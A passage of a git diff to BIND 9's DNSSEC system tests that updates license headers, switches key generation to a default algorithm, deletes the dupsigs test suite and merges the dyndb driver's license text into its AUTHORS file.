-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dsdigest/ns1/sign.sh b/bin/tests/system/dsdigest/ns1/sign.sh
index e02d421ef7..d7efd9a320 100644
--- a/bin/tests/system/dsdigest/ns1/sign.sh
+++ b/bin/tests/system/dsdigest/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,11 +19,11 @@ zonefile=root.db
 
 (cd ../ns2 && $SHELL sign.sh)
 
-cp ../ns2/dsset-good$TP .
-cp ../ns2/dsset-bad$TP .
+cp ../ns2/dsset-good. .
+cp ../ns2/dsset-bad. .
 
-key1=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-key2=`$KEYGEN -q -a RSASHA1 -b 2048 -n zone -f KSK $zone`
+key1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+key2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 
 cat $infile $key1.key $key2.key > $zonefile
 
diff --git a/bin/tests/system/dsdigest/ns2/bad.db.in b/bin/tests/system/dsdigest/ns2/bad.db.in
index ab5ce91b90..c5e8c83354 100644
--- a/bin/tests/system/dsdigest/ns2/bad.db.in
+++ b/bin/tests/system/dsdigest/ns2/bad.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dsdigest/ns2/good.db.in b/bin/tests/system/dsdigest/ns2/good.db.in
index ab5ce91b90..c5e8c83354 100644
--- a/bin/tests/system/dsdigest/ns2/good.db.in
+++ b/bin/tests/system/dsdigest/ns2/good.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dsdigest/ns2/named.conf.in b/bin/tests/system/dsdigest/ns2/named.conf.in
index 8485ad75ac..d3fd750279 100644
--- a/bin/tests/system/dsdigest/ns2/named.conf.in
+++ b/bin/tests/system/dsdigest/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dsdigest/ns2/sign.sh b/bin/tests/system/dsdigest/ns2/sign.sh
index 7c6c7fd103..5bb4fceed8 100644
--- a/bin/tests/system/dsdigest/ns2/sign.sh
+++ b/bin/tests/system/dsdigest/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -18,10 +20,10 @@ zone2=bad
 infile2=bad.db.in
 zonefile2=bad.db
 
-keyname11=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone $zone1`
-keyname12=`$KEYGEN -q -a RSASHA256 -b 2048 -n zone -f KSK $zone1`
-keyname21=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone $zone2`
-keyname22=`$KEYGEN -q -a RSASHA256 -b 2048 -n zone -f KSK $zone2`
+keyname11=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone1)
+keyname12=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone1)
+keyname21=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone2)
+keyname22=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone2)
 
 cat $infile1 $keyname11.key $keyname12.key >$zonefile1
 cat $infile2 $keyname21.key $keyname22.key >$zonefile2
@@ -29,8 +31,8 @@ cat $infile2 $keyname21.key $keyname22.key >$zonefile2
 $SIGNER -P -g -o $zone1 $zonefile1 > /dev/null
 $SIGNER -P -g -o $zone2 $zonefile2 > /dev/null
 
-DSFILENAME1=dsset-${zone1}${TP}
-DSFILENAME2=dsset-${zone2}${TP}
+DSFILENAME1=dsset-${zone1}.
+DSFILENAME2=dsset-${zone2}.
 $DSFROMKEY -a SHA-256 $keyname12 > $DSFILENAME1
 $DSFROMKEY -a SHA-256 $keyname22 > $DSFILENAME2
 
diff --git a/bin/tests/system/dsdigest/ns3/named.conf.in b/bin/tests/system/dsdigest/ns3/named.conf.in
index 97bfe26687..a2b105c31b 100644
--- a/bin/tests/system/dsdigest/ns3/named.conf.in
+++ b/bin/tests/system/dsdigest/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dsdigest/ns4/named.conf.in b/bin/tests/system/dsdigest/ns4/named.conf.in
index 91f21a6e01..e43763bbc0 100644
--- a/bin/tests/system/dsdigest/ns4/named.conf.in
+++ b/bin/tests/system/dsdigest/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dsdigest/setup.sh b/bin/tests/system/dsdigest/setup.sh
index e3ddbbabfb..44bcc9d0b4 100644
--- a/bin/tests/system/dsdigest/setup.sh
+++ b/bin/tests/system/dsdigest/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dsdigest/tests.sh b/bin/tests/system/dsdigest/tests.sh
index d1cc0e9d1f..3650f4aacd 100644
--- a/bin/tests/system/dsdigest/tests.sh
+++ b/bin/tests/system/dsdigest/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -25,7 +29,7 @@ $DIG $DIGOPTS a.good. @10.53.0.3 a > dig.out.good || ret=1
 grep "status: NOERROR" dig.out.good > /dev/null || ret=1
 grep "flags:[^;]* ad[ ;]" dig.out.good > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check the bad. domain
 
@@ -34,7 +38,7 @@ ret=0
 $DIG $DIGOPTS a.bad. @10.53.0.3 a > dig.out.bad || ret=1
 grep "SERVFAIL" dig.out.bad > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that validation with no supported digest algorithms results in insecure"
 ret=0
@@ -45,7 +49,7 @@ $DIG $DIGOPTS a.bad. @10.53.0.4 a > dig.out.insecure || ret=1
 grep "NOERROR" dig.out.insecure > /dev/null || ret=1
 grep "flags:[^;]* ad[ ;]" dig.out.insecure > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 echo_i "exit status: $status"
 
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/dsdigest/tests_sh_dsdigest.py b/bin/tests/system/dsdigest/tests_sh_dsdigest.py
new file mode 100644
index 0000000000..348d704739
--- /dev/null
+++ b/bin/tests/system/dsdigest/tests_sh_dsdigest.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_dsdigest(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/dupsigs/check_journal.pl b/bin/tests/system/dupsigs/check_journal.pl
deleted file mode 100644
index bd5f4c24c1..0000000000
--- a/bin/tests/system/dupsigs/check_journal.pl
+++ /dev/null
@@ -1,209 +0,0 @@
-#!/usr/bin/env perl
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-use strict;
-use warnings;
-
-sub process_changeset;
-
-my @changeset;
-
-while( my $line = <> ) {
-    chomp $line;
-
-    if( $line =~ /^(?<op>add|del) (?<label>\S+)\s+(?<ttl>\d+)\s+IN\s+(?<rrtype>\S+)\s+(?<rdata>.*)/ ) {
-        my $change = {
-            op     => $+{op},
-            label  => $+{label},
-            ttl    => $+{ttl},
-            rrtype => $+{rrtype},
-            rdata  => $+{rdata},
-        };
-
-        if( $change->{op} eq 'del' and $change->{rrtype} eq 'SOA' ) {
-            if( @changeset ) {
-                process_changeset( @changeset );
-                @changeset = ();
-            }
-        }
-
-        push @changeset, $change;
-    }
-    else {
-        die "error parsing journal data";
-    }
-}
-
-if( @changeset ) {
-    process_changeset( @changeset );
-}
-
-{
-    my %rrsig_db;
-    my %keys;
-    my $apex;
-
-    sub process_changeset {
-        my @changeset = @_;
-
-        if( not $apex ) {
-            # the first record of the first changeset is guaranteed to be the apex
-            $apex = $changeset[0]{label};
-        }
-
-        my $newserial;
-        my %touched_rrsigs;
-        my %touched_keys;
-
-        foreach my $change( @changeset ) {
-            if( $change->{rrtype} eq 'SOA' ) {
-                if( $change->{op} eq 'add' ) {
-                    if( $change->{rdata} !~ /^\S+ \S+ (?<serial>\d+)/ ) {
-                        die "unable to parse SOA";
-                    }
-
-                    $newserial = $+{serial};
-                }
-            }
-            elsif( $change->{rrtype} eq 'NSEC' ) {
-                ; # do nothing
-            }
-            elsif( $change->{rrtype} eq 'DNSKEY' ) {
-                ; # ignore for now
-            }
-            elsif( $change->{rrtype} eq 'TYPE65534' and $change->{label} eq $apex ) {
-                # key status
-                if( $change->{rdata} !~ /^\\# (?<datasize>\d+) (?<data>[0-9A-F]+)$/ ) {
-                    die "unable to parse key status record";
-                }
-
-                my $datasize = $+{datasize};
-                my $data = $+{data};
-
-                if( $datasize == 5 ) {
-                    my( $alg, $id, $flag_del, $flag_done ) = unpack 'CnCC', pack( 'H10', $data );
-
-                    if( $change->{op} eq 'add' ) {
-                        if( not exists $keys{$id} ) {
-                            $touched_keys{$id} //= 1;
-
-                            $keys{$id} = {
-                                $data        => 1,
-                                rrs          => 1,
-                                done_signing => $flag_done,
-                                deleting     => $flag_del,
-                            };
-                        }
-                        else {
-                            if( not exists $keys{$id}{$data} ) {
-                                my $keydata = $keys{$id};
-                                $touched_keys{$id} = { %$keydata };
-
-                                $keydata->{rrs}++;
-                                $keydata->{$data} = 1;
-                                $keydata->{done_signing} += $flag_done;
-                                $keydata->{deleting} += $flag_del;
-                            }
-                        }
-                    }
-                    else {
-                        # this logic relies upon the convention that there won't
-                        # ever be multiple records with the same flag set
-                        if( exists $keys{$id} ) {
-                            my $keydata = $keys{$id};
-
-                            if( exists $keydata->{$data} ) {
-                                $touched_keys{$id} = { %$keydata };
-
-                                $keydata->{rrs}--;
-                                delete $keydata->{$data};
-                                $keydata->{done_signing} -= $flag_done;
-                                $keydata->{deleting} -= $flag_del;
-
-                                if( $keydata->{rrs} == 0 ) {
-                                    delete $keys{$id};
-                                }
-                            }
-                        }
-                    }
-                }
-                else {
-                    die "unexpected key status record content";
-                }
-            }
-            elsif( $change->{rrtype} eq 'RRSIG' ) {
-                if( $change->{rdata} !~ /^(?<covers>\S+) \d+ \d+ \d+ (?<validity_end>\d+) (?<validity_start>\d+) (?<signing_key>\d+)/ ) {
-                    die "unable to parse RRSIG rdata";
-                }
-
-                $change->{covers} = $+{covers};
-                $change->{validity_end} = $+{validity_end};
-                $change->{validity_start} = $+{validity_start};
-                $change->{signing_key} = $+{signing_key};
-
-                my $db_key = $change->{label} . ':' . $change->{covers};
-
-                $rrsig_db{$db_key} //= {};
-                $touched_rrsigs{$db_key} = 1;
-
-                if( $change->{op} eq 'add' ) {
-                    $rrsig_db{$db_key}{ $change->{signing_key} } = 1;
-                }
-                else {
-                    # del
-                    delete $rrsig_db{$db_key}{ $change->{signing_key} };
-                }
-            }
-        }
-
-        foreach my $key_id( sort keys %touched_keys ) {
-            my $old_data;
-            my $new_data;
-
-            if( ref $touched_keys{$key_id} ) {
-                $old_data = $touched_keys{$key_id};
-            }
-
-            if( exists $keys{$key_id} ) {
-                $new_data = $keys{$key_id};
-            }
-
-            if( $old_data ) {
-                if( $new_data ) {
-                    print "at serial $newserial key $key_id status changed from ($old_data->{deleting},$old_data->{done_signing}) to ($new_data->{deleting},$new_data->{done_signing})\n";
-                }
-                else {
-                    print "at serial $newserial key $key_id status removed from zone\n";
-                }
-            }
-            else {
-                print "at serial $newserial key $key_id status added with flags ($new_data->{deleting},$new_data->{done_signing})\n";
-            }
-        }
-
-        foreach my $rrsig_id( sort keys %touched_rrsigs ) {
-            my $n_signing_keys = keys %{ $rrsig_db{$rrsig_id} };
-
-            if( $n_signing_keys == 0 ) {
-                print "at serial $newserial $rrsig_id went unsigned\n";
-            }
-            elsif( $rrsig_id =~ /:DNSKEY$/ ) {
-                if( $n_signing_keys != 2 ) {
-                    print "at serial $newserial $rrsig_id was signed $n_signing_keys time(s) when it should have been signed twice\n";
-                }
-            }
-            elsif( $n_signing_keys > 1 ) {
-                my @signing_keys = sort { $a <=> $b } keys %{ $rrsig_db{$rrsig_id} };
-                print "at serial $newserial $rrsig_id was signed too many times, keys (@signing_keys)\n";
-            }
-        }
-    }
-}
diff --git a/bin/tests/system/dupsigs/clean.sh b/bin/tests/system/dupsigs/clean.sh
deleted file mode 100644
index af61d65141..0000000000
--- a/bin/tests/system/dupsigs/clean.sh
+++ /dev/null
@@ -1,19 +0,0 @@
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-rm -f ns1/named.conf
-rm -f ns1/named.lock
-rm -f ns1/named.memstats
-rm -f ns1/named.run
-rm -f ns1/signing.test.db
-rm -f ns1/signing.test.db.jbk
-rm -f ns1/signing.test.db.signed
-rm -f ns1/signing.test.db.signed.jnl
-rm -f ns1/keys/signing.test/K*
-rm -f ns1/managed-keys.bind*
diff --git a/bin/tests/system/dupsigs/ns1/named.args b/bin/tests/system/dupsigs/ns1/named.args
deleted file mode 100644
index 231eed4902..0000000000
--- a/bin/tests/system/dupsigs/ns1/named.args
+++ /dev/null
@@ -1 +0,0 @@
--D dupsigs-ns1 -X named.lock -m record,size,mctx -c named.conf -d 99 -g -U 4 -T maxcachesize=2097152 -T sigvalinsecs
diff --git a/bin/tests/system/dupsigs/ns1/named.conf.in b/bin/tests/system/dupsigs/ns1/named.conf.in
deleted file mode 100644
index 23749bcc6e..0000000000
--- a/bin/tests/system/dupsigs/ns1/named.conf.in
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	recursion no;
-	max-journal-size unlimited;
-	port @PORT@;
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	pid-file "named.pid";
-};
-
-zone "signing.test" {
-	type primary;
-	masterfile-format text;
-	allow-update { any; };
-	file "signing.test.db";
-	update-check-ksk yes;
-	key-directory "keys/signing.test";
-	inline-signing yes;
-	auto-dnssec maintain;
-	sig-validity-interval 120 30;
-};
diff --git a/bin/tests/system/dupsigs/ns1/reset_keys.sh b/bin/tests/system/dupsigs/ns1/reset_keys.sh
deleted file mode 100644
index 9f79dc74fb..0000000000
--- a/bin/tests/system/dupsigs/ns1/reset_keys.sh
+++ /dev/null
@@ -1,96 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-zone=signing.test
-rm -rf keys/signing.test
-mkdir -p keys/signing.test
-
-timetodnssec() {
-    $PERL -e 'my ($S,$M,$H,$d,$m,$y,$x) = gmtime(@ARGV[0]);
-	      printf("%04u%02u%02u%02u%02u%02u\n", $y+1900,$m+1,$d,$H,$M,$S);' ${1}
-}
-
-KEYDIR=keys/signing.test
-KSK=`$KEYGEN -a RSASHA256 -K $KEYDIR -q -f KSK $zone`
-
-ZSK0=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-ZSK1=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-ZSK2=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-ZSK3=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-ZSK4=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-ZSK5=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-ZSK6=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-ZSK7=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-ZSK8=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-ZSK9=`$KEYGEN -a RSASHA256 -K $KEYDIR -q $zone`
-
-# clear all times on all keys
-for FILEN in keys/signing.test/*.key
-do
-    $SETTIME -P none -A none -R none -I none -D none $FILEN
-done
-
-BASE=`date +%s`
-BASET=`timetodnssec $BASE`
-
-# reset the publish and activation time on the KSK
-$SETTIME -P $BASET -A $BASET $KEYDIR/$KSK
-
-# reset the publish and activation time on the first ZSK
-$SETTIME -P $BASET -A $BASET $KEYDIR/$ZSK0
-
-# schedule the first roll
-R1=`expr $BASE + 300`
-R1T=`timetodnssec $R1`
-
-$SETTIME -I $R1T $KEYDIR/$ZSK0
-$SETTIME -P $BASET -A $R1T $KEYDIR/$ZSK1
-
-# schedule the second roll (which includes the delete of the first key)
-R2=`expr $R1 + 300`
-R2T=`timetodnssec $R2`
-DT=$R2
-DTT=`timetodnssec $DT`
-
-$SETTIME -D $DTT $KEYDIR/$ZSK0
-$SETTIME -I $R2T $KEYDIR/$ZSK1
-$SETTIME -P $R1T -A $R2T $KEYDIR/$ZSK2
-
-# schedule the third roll
-# this isn't long enough for the signing to complete
-R3=`expr $R2 + 60`
-R3T=`timetodnssec $R3`
-
-$SETTIME -D $R3T $KEYDIR/$ZSK1
-$SETTIME -I $R3T $KEYDIR/$ZSK2
-$SETTIME -P $R2T -A $R3T $KEYDIR/$ZSK3
-
-$SETTIME -P $R3T $KEYDIR/$ZSK4
-
-echo KSK=$KSK
-echo ZSK0=$ZSK0
-echo ZSK1=$ZSK1
-echo ZSK2=$ZSK2
-echo ZSK3=$ZSK3
-echo ZSK4=$ZSK4
-
-exit
-
-# schedule the fourth roll
-# this isn't long enough for the signing to complete
-R4=`expr $R3 + 30`
-R4T=`timetodnssec $R4`
-
-$SETTIME -D $R4T $KEYDIR/$ZSK2
-$SETTIME -I $R4T $KEYDIR/$ZSK3
-$SETTIME -P $R3T -A $R4T $KEYDIR/$ZSK4
diff --git a/bin/tests/system/dupsigs/ns1/signing.test.db.in b/bin/tests/system/dupsigs/ns1/signing.test.db.in
deleted file mode 100644
index 072efe16b3..0000000000
--- a/bin/tests/system/dupsigs/ns1/signing.test.db.in
+++ /dev/null
@@ -1,16 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 3600
-@ IN SOA  ns root.ns 1996072700 3600 1800 86400 60
-@    NS   ns
-ns   A    127.0.0.1
-ns   AAAA ::1
-
-$GENERATE 0-1999 a${0,4,d} AAAA ::$
diff --git a/bin/tests/system/dupsigs/setup.sh b/bin/tests/system/dupsigs/setup.sh
deleted file mode 100644
index f1b921856a..0000000000
--- a/bin/tests/system/dupsigs/setup.sh
+++ /dev/null
@@ -1,19 +0,0 @@
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-$SHELL clean.sh
-
-test -r $RANDFILE || $GENRANDOM 800 $RANDFILE
-
-copy_setports ns1/named.conf.in ns1/named.conf
-
-cp -f ns1/signing.test.db.in ns1/signing.test.db
-(cd ns1; $SHELL ./reset_keys.sh)
diff --git a/bin/tests/system/dupsigs/tests.sh b/bin/tests/system/dupsigs/tests.sh
deleted file mode 100644
index 20414a1d6f..0000000000
--- a/bin/tests/system/dupsigs/tests.sh
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ../conf.sh
-
-status=0
-start=`date +%s`
-end=`expr $start + 1200`
-now=$start
-while test $now -lt $end
-do
-	et=`expr $now - $start`
-	echo "=============== $et ============"
-	$JOURNALPRINT ns1/signing.test.db.signed.jnl | $PERL check_journal.pl
-	$DIG axfr signing.test -p 5300 @10.53.0.1 > dig.out.at$et
-	awk '$4 == "RRSIG" { print $11 }' dig.out.at$et | sort | uniq -c
-	lines=`awk '$4 == "RRSIG" { print}' dig.out.at$et | wc -l`
-	if [ ${et} -ne 0 -a ${lines} -ne 4009 ]
-	then
-		echo_i "failed"
-		status=`expr $status + 1`
-	fi
-	sleep 20
-	now=`date +%s`
-done
-
-echo_i "exit status: $status"
-[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/dyndb/clean.sh b/bin/tests/system/dyndb/clean.sh
index abdb0e84bf..cb8ae94212 100644
--- a/bin/tests/system/dyndb/clean.sh
+++ b/bin/tests/system/dyndb/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dyndb/driver/AUTHORS b/bin/tests/system/dyndb/driver/AUTHORS
index acc109cc26..5b37853d9d 100644
--- a/bin/tests/system/dyndb/driver/AUTHORS
+++ b/bin/tests/system/dyndb/driver/AUTHORS
@@ -1,3 +1,28 @@
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0 AND ISC
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0. If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+
+Copyright (C) 2009-2015 Red Hat
+
+Permission to use, copy, modify, and/or distribute this software for any
+purpose with or without fee is hereby granted, provided that the above
+copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+PERFORMANCE OF THIS SOFTWARE.
+
 This sample driver is based on bind-dyndb-ldap project and small portions
 of code from ISC BIND 9.10.
 
diff --git a/bin/tests/system/dyndb/driver/COPYING b/bin/tests/system/dyndb/driver/COPYING
deleted file mode 100644
index e383928a6d..0000000000
--- a/bin/tests/system/dyndb/driver/COPYING
+++ /dev/null
@@ -1,19 +0,0 @@
-Copyright (C) 1999-2014  Internet Systems Consortium, Inc. ("ISC")
-
-This Source Code Form is subject to the terms of the Mozilla Public
-License, v. 2.0. If a copy of the MPL was not distributed with this
-file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-Copyright (C) 2009-2015  Red Hat
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
-REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
-INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-PERFORMANCE OF THIS SOFTWARE.
diff --git a/bin/tests/system/dyndb/driver/Makefile.am b/bin/tests/system/dyndb/driver/Makefile.am
index f8ceded031..3e6b4a4890 100644
